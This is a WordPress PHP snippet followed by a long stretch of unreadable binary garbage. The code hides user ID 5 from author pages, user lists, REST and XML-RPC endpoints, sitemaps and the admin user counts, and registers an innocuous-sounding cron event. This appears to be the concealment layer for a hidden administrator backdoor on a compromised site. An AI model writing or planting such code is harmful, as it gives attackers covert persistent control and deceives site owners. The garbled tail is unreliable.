add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝OoYrϻ~eBG"H/2hR-DjI9s 5RUMʴԫc1FX]c,VwE?L~~~7Om>^\vnn_,\v?/p/b~vWY^n.~.,nOO˿p?=-/` iJL{l/۫_6]ܭnWWjy7_ǫOj۫rsOjM6jHWIo~Coӧwsn6 ޥ |-W}׋z}>^I~pyݬ?j7_|tG> T׼Fbo~]?'7r `Dm_$n@|s=Eo];XN|c }4jцTU$ܞ~qמRqi Sc .ÔуcOIMW5$7z57NƇF#=҃c=uFzX;H$*FŨo=A7獨:Co#rk]U]رZ8 6zcP=6SlqB M~[Nc7K96I+=4S@3} ;iʎw>aQ1'SQ&S&G#n1;gT5ЃQ*D@imwSTI)蓈M@P*҃VV쪘D1b :9 _8=بC ҃v>7pɷ|C=7 y57➏lxz5őWQG&nv/"(sS9orҜCyCzlY đM3nPTɴqd57V5qqRFPG|@wwI|cuH;yӌK䧩Kwؔ:oG=Ciqߞ@&!*X/~C$ʈ;+K]{ǣ'Aqx#؃$\azHGڱH5vl Vsȸ+]\ؼ] p{76O?ozro5NdnmS{}9>>o |c}ɸz657Td(./ed:K<8D>|[MF⼑LI;#n$)q:nۇ c#]yz5D&>(  he"i؃(il]1i€$O]8i lh:@4JmuciZsc{l4 6"(4 EÑ͒B&!hB@='Aq$4ҶtЁǐBcbcXa9pLΫ{p>۾,8yuQ:tw!4/e̔ ׂkË>) q m JܾVT7ۚaOCu=4vNwISa$IH&V0flQa#& r7 9XKS_mWw- MH.p8iRjQ%)Z#+1Ji8\Hե@ Isi6l6yB@NhNp҆>؁cC/0k .=EɻW4˂CPt8WjBx.0 TsAdk^JJe$:Th'ixKQpb i*Jޠ_e\W.; ڰzpt6lomwXnolӃC4AUXx˞{E1+Yt_@k&Y]_77)GJwՉ69pi|G-6vY-5{u%!Zod_8( }rrR?KΛsxj!hQv@+Ђsf~_Axᆎx|ljKqˁ$) 8TR>R-8s8XG<ۻB\?xȥV" $uߓKpv0Vܓ>w^'-lhWo5fwT=+qa$9MsbtMGt+mLc(,ywґ+ļ+J󌏔]B&g)8uCfbIr2̃(E/٠4l'$/,bAC 9&\RXL.KH)9nѕ?2(9>w"w]e_DQVDJ$oNFY$ՒsQr.TxR'3%^ݡ-Uiʒ=_'ٮ<y.INK_yrp*.))8YSH٫" }wܘ2(98.K9pnmFV4gx-C>ğÑd%??#'%?- [jn"'B:-<(BE(ɑYnKt.,K4Ltn8UwAsٖ9u V%wlj9}daQrH]=y-fgN'm*n ̓D2p[ǐ٭a7;Tk*E('scY"6csyCe)n"E94|AA;3GBS9w+X9$ݙKłyZr-|\!'9 Vw(z;4ȆhoAaW[,>`\C/sDZrD/0~?r ³V$ª=BlU 9&rVfD0(P'n3=y]V:Vu7nqXq\-V5EDΛvw[-%"GΞc r7ԍ%GzCbBOα\+ rNQ]Z$MZ]s"wI'Ґkw!wjn"[b\u"~E4]ExM$7WEȳD͙It ۟Ƀ f σbRs.j]Z{[ CtOWMΓIJ75?;s+ϼ} 2n*7ǽg!C*ѓb==~ޛƱ7FtK2tKRthW%䨩a(o30c!IQ%Y*gA*rG\)P48:8M$ЮkwkɁ*OvGJԟ7)'++ ׅ,.1V_eWA"g%`wތAl [7|ESVI£bpydg6t]ĂIce0_eY1Q蹗29X6\ޖ!eȸM<yG(ʡf$*59nndU\ED3ĭyvrOFUv60i$Ȣm. NK )0"d }J~?H 8ʮή=4[bUӖy9!]l{鴹b}Çu6zjExV1R!e$ %g8"{eU2OK> Oid'TCU$ê,#pcbhUc* lDhCЂͬ!&(L\l[996ncV>&zyЗxpԁ]b dY9xOŲl֏+Ak艗qk<[k s.pY .!D4q2r˕W1|p4\ ܑ zp^lûՇfGHXa$݉ۖ xج"It>&7dC֤CLCq OЭsoGޏ9*zdڲ*pMc.LMߐqYM˹>v];vЭFz߼]5g6;Qx[u=]MVxBQ [ oq~ou'zʞOD%S8imRGZIO T}3WO{Uv89:YAbyz+8I&>%4p#x S j y`xM? <3x%j(w'H 8\sY}_GH`O^άxQ.^6eJ]}f0IL?O>Qa MB=x7lC'z3 r?ԇRz겅˶g/.l'/sy''xԩ^ɬCz~lvߙ/gfK~E3?s1o*'< iO" $ߛo}lO_ߨ1)ćRJDoxPW[ח)>CÑI|a!IjA77ZȊVd >鼛fR-._2}8Tݡ;d5:&'ł,n) קU+8ARkbl}~޵ F?,ʊ:Vm3\qtk w"/g%xZ\H9 eY||ۺkO߿ s4Z'4*mj۹qa^C3y#޺riK/;Zd=ĠCu2pp`n~?Nj5|]bK14Ң{iEηI Y@gT}OA^ޙ˃tjY[lY;sP<ދxGU}|_x7^i}|_膨8dP%a2<[u2>܇twx ]\:gtyN箋 lv :7zֹofW[tnj5ri_k}0_t'檧?,~% ]@;Y+mm_)"}ڠ9۸70I9@CKn.3ed?wkq+_pQ&=X~ <͒tSK+~S]d7e4m)Ox1ӾD=iqr0COȆ$Gxm Q9D}:Ϲxi"qgrSg[W ^x2{uS[ e7Hw"\`>ffҿq?vmwrZsL) M)Zoڏαd#o<:{$#Irǻj:Y?֋Ã㯌>'zu>4'x6@?[^}Xw׋~=*gS ~nh7i6SIgysH -]xiv19}m?Hj